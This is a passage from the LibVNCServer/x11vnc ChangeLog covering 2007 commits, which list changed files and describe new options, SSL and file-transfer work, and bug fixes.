x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, 3950 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3951 x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh 3952 options. ncache bug in -8to24, Selection "targets" bugfix. 3953 3954 2007-10-04 runge <runge> 3955 3956 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 3957 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3958 x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay 3959 3960 2007-09-26 runge <runge> 3961 3962 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3963 x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c, 3964 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 3965 x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to 3966 find/create scripts. More ratecheck. 3967 3968 2007-09-17 dscho <dscho> 3969 3970 * libvncserver/rfbserver.c: Avoid misaligned access on 64-bit 3971 machines We used to assume that a char[256] is properly aligned to be cast to 3972 an rfbServerInitMsg, but that was not the case. So use a union 3973 instead. Noticed by Flavio Leitner. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3974 3975 2007-09-11 runge <runge> 3976 3977 * classes/ssl/ss_vncviewer, 3978 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3979 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update 3980 ss_vncviewer script, jars, and patch files. 3981 3982 2007-09-11 runge <runge> 3983 3984 * x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README, 3985 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 3986 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3987 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3988 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: 3989 sshvnc ssh-only, tsvnc Terminal Services modes. Improvements to 3990 ss_vncviewer. Automatically find X dpy and X login. Reorganize 3991 menus a bit. ~/.ssvncrc file. 3992 3993 2007-09-11 runge <runge> 3994 3995 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 3996 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, 3997 x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c, 3998 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 3999 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4000 x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc: 4001 fix wireframe crash under -clip. Add -redirect for VNC redir. 4002 -rawfb nullbig, randbig, solid, swirl, etc. FD_XDM mode to 4003 find_display. -listdpy. Add enlightenment. Xvnc.redirect 4004 FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc. 4005 AUTO_PORT. 4006 4007 2007-09-05 runge <runge> 4008 4009 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4010 x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c, 4011 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, 4012 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 4013 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4014 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 4015 x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc: 4016 -autoport, -finddpy, -xdummy. watch xrandr events. 4017 check_redir_services() utilities for Terminal services. Improve 4018 Xdummy. 4019 4020 2007-09-05 runge <runge> 4021 4022 * ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc, 4023 classes/ssl/ss_vncviewer, 4024 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 4025 classes/ssl/ultraproxy.vnc, 4026 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl: 4027 improve timeouts, port fallback, and connection time. 4028 4029 2007-08-19 runge <runge> 4030 4031 * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1: 4032 malloc score_hint and make it shorts to save space. 4033 4034 2007-08-19 runge <runge> 4035 4036 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4037 x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c, 4038 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb 4039 tie-breaking for up keystrokes. Add Xsrv/FD_XSRV custom server to 4040 FINDCREATEDISPLAY list. 4041 4042 2007-08-18 runge <runge> 4043 4044 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c, 4045 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, 4046 x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create) 4047 script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc 4048 support 4049 4050 2007-08-16 runge <runge> 4051 4052 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c, 4053 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect 4054 support to -display WAIT:, fix SSL Fetch cert only for -display 4055 WAIT: 4056 4057 2007-08-14 dscho <dscho> 4058 4059 * AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the 4060 GotRect hook is set, override default op. 4061 4062 2007-08-04 runge <runge> 4063 4064 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4065 x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, 4066 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4067 x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh, 4068 .DCOPserver bug, -unixpw_unsafe ignores SSH tunnel. 4069 4070 2007-08-04 runge <runge> 4071 4072 * libvncclient/vncviewer.c: argv > 0 doesn't make sense for a 4073 pointer; assuming argv != NULL. 4074 4075 2007-07-05 runge <runge> 4076 4077 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4078 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc, 4079 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1, 4080 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix 4081 big fonts in tkx11vnc. 4082 4083 2007-07-05 runge <runge> 4084 4085 * configure.ac, prepare_x11vnc_dist.sh: configure.ac check for 4086 external system libvncserver version. set x11vnc version 0.9.3 4087 4088 2007-06-18 runge <runge> 4089 4090 * x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1, 4091 x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release. 4092 4093 2007-06-15 runge <runge> 4094 4095 * ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc, 4096 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, 4097 x11vnc/ChangeLog, x11vnc/README, 4098 x11vnc/misc/enhanced_tightvnc_viewer/README, 4099 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 4100 viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4101 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4102 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4103 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4104 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4105 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c, 4106 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 4107 x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or 4108 --without-ssl supplied. 4109 4110 2007-05-27 runge <runge> 4111 4112 * 4113 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4114 ll.patch: sync ssvnc unix viewer diffs; fix X cursor size. 4115 4116 2007-05-27 runge <runge> 4117 4118 * classes/ssl/ss_vncviewer, 4119 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4120 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4121 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4122 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4123 ll.patch: update java viewer and ssvnc. 4124 4125 2007-05-27 runge <runge> 4126 4127 * configure.ac, x11vnc/README: configure.ac: fix x11vnc 4128 --with-system-libvncserver build and add -R link flag. 4129 4130 2007-05-27 runge <runge> 4131 4132 * libvncserver-config.in: Fix --libs, echo -n doesn't work 4133 everywhere. Question: why -R only for Solaris?? 4134 4135 2007-05-27 runge <runge> 4136 4137 * x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake. 4138 4139 2007-05-27 runge <runge> 4140 4141 * ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh, 4142 x11vnc/README: configure: make more of a split between libvncserver 4143 and x11vnc pkgs. 4144 4145 2007-05-26 runge <runge> 4146 4147 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 4148 x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, 4149 x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no 4150 echo username. 4151 4152 2007-05-22 runge <runge> 4153 4154 * classes/ssl/ss_vncviewer: update regular SSL viewer jars; update 4155 ss_vncviewer script. 4156 4157 2007-05-22 runge <runge> 4158 4159 * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4160 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4161 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4162 ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n 4163 menu and chat windows) 4164 4165 2007-05-22 runge <runge> 4166 4167 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4168 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set 4169 things up (NCACHE = -1) to not have -ncache on by default. 4170 4171 2007-05-19 runge <runge> 4172 4173 * classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 4174 libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1, 4175 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java 4176 viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case. 4177 4178 2007-05-17 runge <runge> 4179 4180 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99 4181 declaration error. 4182 4183 2007-05-17 runge <runge> 4184 4185 * libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check 4186 permitFileTransfer 1st to avoid false alarms. 4187 4188 2007-05-16 runge <runge> 4189 4190 * prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list. 4191 4192 2007-05-16 runge <runge> 4193 4194 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 4195 libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging 4196 output to know when inside tightvnc-filetransfer functions. 4197 4198 2007-05-16 runge <runge> 4199 4200 * classes/ssl/Makefile.am, classes/ssl/README, 4201 classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc, 4202 classes/ssl/ultrasigned.vnc, 4203 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support 4204 to UltraVNC Java Viewer (has filetransfer gui). Fix UltraVNC bugs 4205 and improve FTP gui a bit. 4206 4207 2007-05-16 runge <runge> 4208 4209 * x11vnc/ChangeLog, x11vnc/README, 4210 x11vnc/misc/enhanced_tightvnc_viewer/README, 4211 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4212 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4213 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4214 x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs 4215 and accepted certs logging. x11vnc SSL debugging output. 4216 4217 2007-05-16 runge <runge> 4218 4219 * libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is 4220 not enabled. 4221 4222 2007-05-07 runge <runge> 4223 4224 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4225 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4226 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4227 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: 4228 Home dir changing, skip enc warning, memory stick doc. 4229 4230 2007-05-07 runge <runge> 4231 4232 * x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c, 4233 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 4234 x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop 4235 client doing ultravnc stuff in -unixpw during login phase. 4236 4237 2007-05-05 runge <runge> 4238 4239 * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, 4240 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, 4241 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer 4242 warnings and messages. 4243 4244 2007-05-05 runge <runge> 4245 4246 * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4247 x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1, 4248 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add 4249 groups handling for -users mode. 4250 4251 2007-05-04 runge <runge> 4252 4253 * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, 4254 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env. 4255 var, add mwm to -create. 4256 4257 2007-05-01 runge <runge> 4258 4259 * classes/ssl/Makefile.am, classes/ssl/onetimekey, 4260 classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README, 4261 x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c, 4262 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, 4263 x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc 4264 setsid/setpgrp and -cc 4 for -create 4265 4266 2007-04-28 runge <runge> 4267 4268 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4269 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, 4270 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4271 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4272 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4273 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4274 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4275 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c, 4276 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c, 4277 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 4278 -users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default 4279 4280 2007-04-19 runge <runge> 4281 4282 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, 4283 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release 4284 (0.9.1) 4285 4286 2007-04-19 runge <runge> 4287 4288 * 4289 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4290 ll.patch: Add latest vncviewer patch. 4291 4292 2007-04-19 runge <runge> 4293 4294 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4295 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4296 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4297 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, 4298 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with 4299 SSVNC 1.0.15 4300 4301 2007-04-18 runge <runge> 4302 4303 * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, 4304 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9 4305 release. 4306 4307 2007-04-08 runge <runge> 4308 4309 * prepare_x11vnc_dist.sh: change x11vnc version to 0.9 4310 4311 2007-04-07 dscho <dscho> 4312 4313 * configure.ac: prepare for release of LibVNCServer 0.9 4314 4315 2007-04-07 runge <runge> 4316 4317 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 4318 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c, 4319 x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY 4320 tags. 4321 4322 2007-04-07 runge <runge> 4323 4324 * classes/ssl/ss_vncviewer, 4325 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update 4326 viewer jars and ss script 4327 4328 2007-04-07 runge <runge> 4329 4330 * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, 4331 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c, 4332 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java 4333 ingoreProxy, fix old libssl free_func problem 4334 4335 2007-04-06 dscho <dscho> 4336 4337 * AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"' 4338 to make it convenient to include from C++ 4339 4340 2007-04-06 dscho <dscho> 4341 4342 * AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++. 4343 4344 2007-03-30 dscho <dscho> 4345 4346 * prepare_x11vnc_dist.sh: build x11vnc with static libraries (at 4347 least for now) Maybe at a later stage, we want x11vnc to pick up on existing 4348 libvncserver.so and libvncclient.so, but right now, x11vnc and the 4349 libraries progress together (and thus it is better to build static, 4350 necessarily up-to-date libraries for x11vnc). 4351 4352 2007-03-30 dscho <dscho> 4353 4354 * AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am, 4355 configure.ac, contrib/Makefile.am, examples/Makefile.am, 4356 libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh, 4357 test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build 4358 shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared 4359 libraries. 4360 4361 2007-03-25 runge <runge> 4362 4363 * x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c, 4364 x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors, 4365 get -ncache working on macosx again. 4366 4367 2007-03-24 runge <runge> 4368 4369 * libvncserver/cursor.c: Fix short vs. char problem with X cursors. 4370 Have fg == bg == 0 imply interpolation to B&W. 4371 4372 2007-03-24 runge <runge> 4373 4374 * classes/ssl/ss_vncviewer, 4375 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse 4376 connections for ss_vncviewer. java one-time-keys. 4377 4378 2007-03-24 runge <runge> 4379 4380 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4381 x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, 4382 x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4383 x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4384 x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin 4385 option. 4386 4387 2007-03-24 runge <runge> 4388 4389 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4390 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4391 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4392 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4393 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4394 ll.patch: reverse (listening) VNC connections. 4395 4396 2007-03-20 runge <runge> 4397 4398 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4399 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 4400 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4401 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4402 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4403 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4404 ll.patch: ssvnc: sync to 1.0.13 release. 4405 4406 2007-03-20 runge <runge> 4407 4408 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 4409 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 4410 x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1, 4411 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir, 4412 x11cursor fix, nc=N login opt, no -ncache betatest for java viewer. 4413 4414 2007-03-20 runge <runge> 4415 4416 * ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP 4417 replies. 4418 4419 2007-03-17 dscho <dscho> 4420 4421 * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 4422 Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to 4423 how condition variables are used. On certain machines in our lab, when using a vncviewer to view a 4424 display that has a very high rate of updates, we will occasionally 4425 see the VNC server process crash. In one stack trace that was 4426 obtained, an assertion had tripped in glibc's pthread_cond_wait, 4427 which was called from clientOutput. Inspection of clientOutput suggests that WAIT is being called 4428 incorrectly. The mutex that protects a condition variable should 4429 always be locked when calling wait, and on return from the wait will 4430 still be locked. The attached patch fixes the locking around this 4431 condition variable, and one other that I found by grepping the 4432 source for similar occurrences. Signed-off-by: Charles Coffing <ccoffing (a] novell.com> 4433 4434 2007-03-13 runge <runge> 4435 4436 * 4437 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4438 ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch 4439 4440 2007-03-13 runge <runge> 4441 4442 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, 4443 x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4444 x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache 4445 beta tester to 96MB viewers. 4446 4447 2007-02-19 runge <runge> 4448 4449 * x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 4450 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4451 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4452 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 4453 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4454 ll.patch: ssvnc: more fixes for painting problems. 4455 4456 2007-02-19 runge <runge> 4457 4458 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4459 x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode. 4460 4461 2007-02-19 runge <runge> 4462 4463 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4464 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4465 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4466 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4467 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4468 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4469 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4470 ll.patch: store 1.0.12 snapshot. 4471 4472 2007-02-19 runge <runge> 4473 4474 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 4475 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get 4476 ultravnc textchat working with ssvnc. 4477 4478 2007-02-17 runge <runge> 4479 4480 * x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1: 4481 x11vnc: make https fetch in accept_openssl() work again. 4482 4483 2007-02-16 runge <runge> 4484 4485 * x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h, 4486 x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, 4487 x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c, 4488 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 4489 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add 4490 Files mode to user controlled input. more ultra/tight filexfer 4491 tweaks. rfbversion remote control. noncache/nc unixpw user opt. 4492 4493 2007-02-16 runge <runge> 4494 4495 * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, 4496 x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, 4497 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, 4498 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4499 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4500 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: 4501 tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry. 4502 4503 2007-02-12 runge <runge> 4504 4505 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 4506 x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c, 4507 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 4508 x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 4509 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4510 x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka 4511 mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find 4512 -create 4513 4514 2007-02-12 runge <runge> 4515 4516 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4517 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, 4518 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, 4519 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 4520 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4521 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, 4522 x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms, 4523 -noserverdpms, -loopbg, -svc, -xdmsvc 4524 4525 2007-02-10 runge <runge> 4526 4527 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4528 x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, 4529 x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, 4530 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, 4531 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4532 x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in 4533 unixpw, implement kbdReleaseAllKeys, setSingleWindow, 4534 setServerInput. watch for OpenGL apps breaking XDAMAGE. 4535 4536 2007-02-05 runge <runge> 4537 4538 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4539 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4540 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4541 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4542 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4543 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4544 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 4545 ll.patch: ssvnc 1.0.11 files. 4546 4547 2007-02-05 runge <runge> 4548 4549 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, 4550 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5 4551 4552 2007-02-01 dscho <dscho> 4553 4554 * ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c, 4555 rfb/rfbclient.h: 